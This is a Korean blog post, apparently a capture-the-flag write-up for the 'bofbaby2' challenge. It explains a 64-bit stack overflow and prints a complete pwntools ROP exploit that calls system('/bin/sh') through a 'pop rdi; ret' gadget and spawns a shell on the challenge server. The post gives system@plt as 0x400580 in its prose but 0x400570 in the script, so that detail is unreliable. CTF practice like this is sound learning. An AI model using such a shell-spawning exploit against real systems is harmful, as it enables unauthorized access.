본문으로 바로가기

[System] bofbaby2 / 120

category ICEWALL 2019. 7. 18. 23:21

Download: vuln

 

64bit ELF 바이너리 파일이고 NX만 걸려있다. bofbaby1와 완전히 똑같은 문제지만, 아키텍쳐만 바뀌었을 뿐이다.

 

64bit에서 system 함수가 rdi로 인자를 받으므로 인자를 넘길 때 pop rdi; ret; gadget을 사용하면 문제를 해결할 수 있다.

 

"/bin/sh" 는 0x400814, system@plt는 0x400580, pop rdi; ret;는 0x4007F3에 위치한다. 이들을 이용해 exploit을 작성한다.

 

from pwn import *
import sys

if len(sys.argv) == 1 :
	p = process('./vuln')
else :
	p = connect('icewall-ctf.kr', 10201)

system_plt = 0x400570
pop_rdi_ret = 0x4007F3
ret = 0x400551
sh_str = 0x400814

payload = 'A'*(0x10+8)
payload += p64(pop_rdi_ret)
payload += p64(sh_str)
payload += p64(ret)
payload += p64(system_plt)

p.sendline(payload)

p.interactive()

'ICEWALL' 카테고리의 다른 글

[System] typing_practice / 200  (0) 2019.07.19
[System] fsb32 / 150  (0) 2019.07.19
[System] canary / 150  (0) 2019.07.19
[System] bofbaby1 / 100  (0) 2019.07.18
[System] command_injection / 100  (0) 2019.07.18